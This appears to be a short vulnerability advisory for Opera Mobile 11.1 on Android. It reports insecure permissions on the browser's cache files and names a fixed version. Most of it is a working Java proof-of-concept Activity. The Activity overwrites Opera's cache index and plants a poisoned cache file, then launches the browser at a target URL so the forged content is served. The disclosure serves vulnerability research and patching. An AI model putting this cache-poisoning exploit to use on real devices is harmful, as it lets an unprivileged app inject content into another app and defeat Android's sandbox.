Opera Mobile for Android
Version 11.1
Install version version 11.1 update 2 or later
The Opera Mobile cache files (metadata and data) have insecure file permissions:
Hence a 3rd party application with no permissions may access Opera Mobile’s cache, thus break Android’s sandboxing model:
See paper for how to generate the injected cache entry.
public class CachePoisoningActivity extends Activity {
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
dumpToFilesystem("dcache4.url",
"/data/data/com.opera.browser/cache/dcache4.url");
dumpToFilesystem("poisonedfile",
"/data/data/com.opera.browser/cache/g_0000/poisonedfile");
Intent i = new Intent();
i.setClassName("com.opera.browser", "com.opera.Opera");
i.setData(Uri.parse("http://target/"));
startActivity(i);
}
private void dumpToFilesystem(String assetName, String dstPath)
{
try {
InputStream input = getAssets().open(assetName);
FileOutputStream output = new FileOutputStream(dstPath);
byte[] buffer = new byte[1024];
int len = -1;
while (-1 != (len = input.read(buffer)))
output.write(buffer, 0, len);
output.close();
input.close();
} catch (IOException e) {}
File f = new File(dstPath);
f.setReadable(true, false);
f.setWritable(true, false);
}
}